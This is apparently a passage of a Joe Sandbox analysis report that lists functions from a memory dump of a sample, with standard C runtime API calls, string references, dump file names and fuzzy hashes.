GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 007C9E49
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 007C9E5A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 007C9E6B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 007C9E7C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 007C9E8D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 007C9E9E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 007C9EAF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 007C9EC0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 007C9ED1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 007C9EE2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 007C9EF3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 007C9F04
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 007C9F15
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 007C9F26
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 007C9F37
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 007C9F48
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 007C9F59
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 007C9F6A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 007C9F7B

Strings

CreateThreadpoolWork, xrefs: 007C9F1B
WaitForThreadpoolTimerCallbacks, xrefs: 007C9D94
SetThreadpoolTimer, xrefs: 007C9D83
CloseThreadpoolWork, xrefs: 007C9F3D
LCMapStringEx, xrefs: 007C9F70
CreateThreadpoolTimer, xrefs: 007C9D72
WakeAllConditionVariable, xrefs: 007C9EA4
InitializeCriticalSectionEx, xrefs: 007C9D1D
GetLocaleInfoEx, xrefs: 007C9F5F
kernel32.dll, xrefs: 007C9CD1
WakeConditionVariable, xrefs: 007C9E93
FlsFree, xrefs: 007C9CEA
InitOnceExecuteOnce, xrefs: 007C9D2E
CloseThreadpoolTimer, xrefs: 007C9DA5
SleepConditionVariableSRW, xrefs: 007C9F0A
SleepConditionVariableCS, xrefs: 007C9EB5
SetFileInformationByHandle, xrefs: 007C9E60
FlushProcessWriteBuffers, xrefs: 007C9DE9
SubmitThreadpoolWork, xrefs: 007C9F2C
GetTickCount64, xrefs: 007C9E3E
SetThreadpoolWait, xrefs: 007C9DC7
CreateSymbolicLinkW, xrefs: 007C9E21
AcquireSRWLockExclusive, xrefs: 007C9ED7
GetSystemTimePreciseAsFileTime, xrefs: 007C9E71
CloseThreadpoolWait, xrefs: 007C9DD8
CreateEventExW, xrefs: 007C9D3F
GetFileInformationByHandleEx, xrefs: 007C9E4F
GetCurrentProcessorNumber, xrefs: 007C9E0B
CreateSemaphoreW, xrefs: 007C9D50
InitializeConditionVariable, xrefs: 007C9E82
FlsGetValue, xrefs: 007C9CFB
FlsAlloc, xrefs: 007C9CDE
ReleaseSRWLockExclusive, xrefs: 007C9EF9
FreeLibraryWhenCallbackReturns, xrefs: 007C9DFA
FlsSetValue, xrefs: 007C9D0C
CreateThreadpoolWait, xrefs: 007C9DB6
TryAcquireSRWLockExclusive, xrefs: 007C9EE8
InitializeSRWLock, xrefs: 007C9EC6
GetCurrentPackageId, xrefs: 007C9E2D
CreateSemaphoreExW, xrefs: 007C9D61
CompareStringEx, xrefs: 007C9F4E

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 811dad91a6cb5d427c4990ea9dae4b73151ec778323f0f6956c133a57f0d70eb
Instruction ID: c8207203cb57aa18d4ba67d24b6ef0055cd6bab2e77c0a940083127ee38e0340
Opcode Fuzzy Hash: 811dad91a6cb5d427c4990ea9dae4b73151ec778323f0f6956c133a57f0d70eb
Instruction Fuzzy Hash: 696135B59533D0EBD7416FF5AC4E88A3BF8AB0D7123818527B501DB261DBBC60808B68

Function 007CE0F3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 007CE212
___TypeMatch.LIBVCRUNTIME ref: 007CE320
CatchIt.LIBVCRUNTIME ref: 007CE371
_UnwindNestedFrames.LIBCMT ref: 007CE472
CallUnexpected.LIBVCRUNTIME ref: 007CE48D

Strings

csm, xrefs: 007CE130
csm, xrefs: 007CE249
csm, xrefs: 007CE19D

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 5c65082167a7282a87a28865d2bd5934ee243af23a11adbd8b4e3c8bdd2ffa5c
Instruction ID: ab6243153db30eced478f33059f6d1c1b02b753070032cbaaccacb84218a544b
Opcode Fuzzy Hash: 5c65082167a7282a87a28865d2bd5934ee243af23a11adbd8b4e3c8bdd2ffa5c
Instruction Fuzzy Hash: 70B14A72800259EFCF29DFA4C985EAEBBB9BF54310B14416DF8116B212D738EE51CB91

Function 007D5328 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,007D5313,?,?,?,?,?,?,?,?,?,?), ref: 007D53CE
__alloca_probe_16.LIBCMT ref: 007D5489
__alloca_probe_16.LIBCMT ref: 007D5518
__freea.LIBCMT ref: 007D5563
__freea.LIBCMT ref: 007D5569
__freea.LIBCMT ref: 007D559F
__freea.LIBCMT ref: 007D55A5
__freea.LIBCMT ref: 007D55B5

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 530e7b30e923ec1d8765a2be39864cda771819dd951f7bbdf2bbf4cb93a6552e
Instruction ID: 33cb36b44407ede5d714be99b652039c40fdde44e049c09e2f9c9599d15bcf9e
Opcode Fuzzy Hash: 530e7b30e923ec1d8765a2be39864cda771819dd951f7bbdf2bbf4cb93a6552e
Instruction Fuzzy Hash: 86710472D00A45ABDF229F649C45FAE7BBBAF44310F28011BE906A7381E77DDD5087A1

Function 007CB150 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007CB187
___except_validate_context_record.LIBVCRUNTIME ref: 007CB18F
_ValidateLocalCookies.LIBCMT ref: 007CB218
__IsNonwritableInCurrentImage.LIBCMT ref: 007CB243
_ValidateLocalCookies.LIBCMT ref: 007CB298

Strings

csm, xrefs: 007CB22D

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 11d6a087a49bf48a3a319a541c779778ec82f00276bd02fab5a34ea5044d03c4
Instruction ID: b936436d869ee5ca10642468aaefe2a175ece397ed18924240cbdc3a1bb9e0f0
Opcode Fuzzy Hash: 11d6a087a49bf48a3a319a541c779778ec82f00276bd02fab5a34ea5044d03c4
Instruction Fuzzy Hash: A2419034A00249DFCB10DF69C88AFAEBBB5BF45324F18845DF8159B252D739AA11CB91

Function 007CEDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,007CEF02,?,?,00000000,00000000,?,?,007CEC0B,00000022,FlsSetValue,007D8DDC,007D8DE4,00000000), ref: 007CEEB4

Strings

api-ms-, xrefs: 007CEE4A
ext-ms-, xrefs: 007CEE5E

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 394b136471d8a533449de4b5be71227487d19842fa076bf3a77a0026b033b671
Instruction ID: 8f187d3f25bb45ff39cc43cf5fd126ee3e754c9fe977a658bbb56602716fba06
Opcode Fuzzy Hash: 394b136471d8a533449de4b5be71227487d19842fa076bf3a77a0026b033b671
Instruction Fuzzy Hash: 0321D532A01251ABEB219B24DC45F9A3779AF557F0F25412DFC05EB290D738ED00C6E4

Function 007CD85A Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,007CD851,007CAF2D,007CA5C4), ref: 007CD868
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 007CD876
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 007CD88F
SetLastError.KERNEL32(00000000,007CD851,007CAF2D,007CA5C4), ref: 007CD8E1

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7a595694624202440edec2f2a424b53b4111581b161961a8f4b407a1047a868f
Instruction ID: f5260e9fe6ff03692d359bd592517647e419c7c86c24d7e58304e9ad7ad86f00
Opcode Fuzzy Hash: 7a595694624202440edec2f2a424b53b4111581b161961a8f4b407a1047a868f
Instruction Fuzzy Hash: 9F01DD3211A7519EE6352BB47C89F1A27D4DB557B4720433FF010891E2EF9E4C526244

Function 007CBF74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,007D760B,000000FF,?,007CC035,?,?,007CC0D1,00000000), ref: 007CBFA9
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,00000000,007D760B,000000FF,?,007CC035,?,?,007CC0D1,00000000), ref: 007CBFBB
FreeLibrary.KERNEL32(00000000,?,00000000,007D760B,000000FF,?,007CC035,?,?,007CC0D1,00000000), ref: 007CBFDD

Strings

CorExitProcess, xrefs: 007CBFB3
mscoree.dll, xrefs: 007CBFA2

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7c06e72639c6d49f974886e9912d84f403b59612ae120d0f7f45aa9d21569822
Instruction ID: e443e6de954c26ca96fee488bd7d17bda185794541e2ae044d41ff4f57ba2d66
Opcode Fuzzy Hash: 7c06e72639c6d49f974886e9912d84f403b59612ae120d0f7f45aa9d21569822
Instruction Fuzzy Hash: 3401A271A44659AFDB029F50CC09FAEBBB8FB08B14F04452EF811A6790DBBC9900CF94

Function 007D2F3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007D2FC2
__alloca_probe_16.LIBCMT ref: 007D308B
__freea.LIBCMT ref: 007D30F2

Part of subcall function 007D0C65: HeapAlloc.KERNEL32(00000000,?,-A3400188,?,007C9200,?,?,007C67E7,?,007C6199), ref: 007D0C97

__freea.LIBCMT ref: 007D3105
__freea.LIBCMT ref: 007D3112

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: ffd692eb150cb5f55434284dd99c3ecf885104b7e81ef703f2165d0dea80eae7
Instruction ID: 796512be73041926c1e3b64acc10786275646514fa10c9946d78b04e489c4d02
Opcode Fuzzy Hash: ffd692eb150cb5f55434284dd99c3ecf885104b7e81ef703f2165d0dea80eae7
Instruction Fuzzy Hash: 1051B77260050AABDB209F60CC86EBB7BB9EF44750F25052AFD04EA351EB39CE50D661

Function 007CE518 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,007CE41E,?,?,00000000,00000000,00000000,?), ref: 007CE53D
CatchIt.LIBVCRUNTIME ref: 007CE623

Strings

MOC, xrefs: 007CE54F
RCC, xrefs: 007CE557

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 30a76d166248b084fe2a306da16edcf663a9370d80b07863a5ec89f76fddad10
Instruction ID: 658125eca6a63b3138fa7ede6494b409a9e6fb5705acf5a50be84b47e7b7e08b
Opcode Fuzzy Hash: 30a76d166248b084fe2a306da16edcf663a9370d80b07863a5ec89f76fddad10
Instruction Fuzzy Hash: 5B414771900109AFCF26DF98DD85EAE7BB5EF48304F18806DF905B7211E239AA60DB51

Function 007D2C7E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,007D2D1A,00000000,?,007E1CD0,?,?,?,007D2C51,00000004,InitializeCriticalSectionEx,007D96F8,007D9700), ref: 007D2C8B
GetLastError.KERNEL32(?,007D2D1A,00000000,?,007E1CD0,?,?,?,007D2C51,00000004,InitializeCriticalSectionEx,007D96F8,007D9700,00000000,?,007CE73C), ref: 007D2C95
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 007D2CBD

Strings

api-ms-, xrefs: 007D2CA2

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 7efc5984e7d0fa1ecb75d3dadabedd087bbc56b040d6fb2dde4fe4662a825cee
Instruction ID: b859f1aa7582289775a201cd52c78684a6fd76773895b985c88977655b37cb95
Opcode Fuzzy Hash: 7efc5984e7d0fa1ecb75d3dadabedd087bbc56b040d6fb2dde4fe4662a825cee
Instruction Fuzzy Hash: 7AE04830390205BBDF112B60DD0AB5C3F79AB10B54F144423F90DA82F1E7699C129669

Function 007D3608 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 007D366B

Part of subcall function 007D2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,007CD7D1,?,00000000,?), ref: 007D21B2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 007D38BD
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 007D3903
GetLastError.KERNEL32 ref: 007D39A6

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bc5d5d8ca76e0229c5fefe0e609c993c3b413c93327539ba24c167329b8b0f61
Instruction ID: 06973463dadfa62c203c812dccd7f45e832ab18040d4e5be3e3f7679576fbdeb
Opcode Fuzzy Hash: bc5d5d8ca76e0229c5fefe0e609c993c3b413c93327539ba24c167329b8b0f61
Instruction Fuzzy Hash: 98D18CB5E00248DFCF15CFA8C8949ADBBB5FF48314F28412AE466EB351D734AA41CB51

Function 007CDF1C Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 007CDFE3
___AdjustPointer.LIBCMT ref: 007CE006
___AdjustPointer.LIBCMT ref: 007CE0A2

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 643abf3ab8ab83816aa290e8873f855ea5bdd78c8065390526a6a2c0acbd3864
Instruction ID: f03ad33f0fc14e7d20e3e52e55df94373330276e01ae0cb4291dabc2753fc768
Opcode Fuzzy Hash: 643abf3ab8ab83816aa290e8873f855ea5bdd78c8065390526a6a2c0acbd3864
Instruction Fuzzy Hash: 81510472A05646EFEB299F10D845FBAB3A4FF04314F24442DE9069B291E7BDEC80D791

Function 007D15D8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 007D2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,007CD7D1,?,00000000,?), ref: 007D21B2

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,007D197E,?,?,?,00000000), ref: 007D163C
__dosmaperr.LIBCMT ref: 007D1643
GetLastError.KERNEL32(00000000,007D197E,?,?,00000000,?,?,?,00000000,00000000,?,007D197E,?,?,?,00000000), ref: 007D167D
__dosmaperr.LIBCMT ref: 007D1684

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 7f1026ce3c5e5327b5062c50cb97afd41d967c9fd86044b7037a1d969a314975
Instruction ID: 015ab5a8336cc3cba8a05601b2a35d819b2b809cd7ed279782d2ffab1dce6d0f
Opcode Fuzzy Hash: 7f1026ce3c5e5327b5062c50cb97afd41d967c9fd86044b7037a1d969a314975
Instruction Fuzzy Hash: C321CF71600205FFDB20AF619C85D7AB7BCEF44364B94856BF8299B311DB38EC008BA0

Function 007D1B74 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e759c946916c57b134dec4588d0e22ff150cefdbbfe5abd59beabd0f13a46738
Instruction ID: eb5ea5da0fae4741074cc959dd5b396c12e76fd2c442f29f45dc3a15e6e01ead
Opcode Fuzzy Hash: e759c946916c57b134dec4588d0e22ff150cefdbbfe5abd59beabd0f13a46738
Instruction Fuzzy Hash: B7219DB1600209BF8B20AF65DD85E6A77BDAF50364790851BF8199B751EB38EC108BA0

Function 007D224D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 007D2255

Part of subcall function 007D2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,007CD7D1,?,00000000,?), ref: 007D21B2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 007D228D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 007D22AD

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
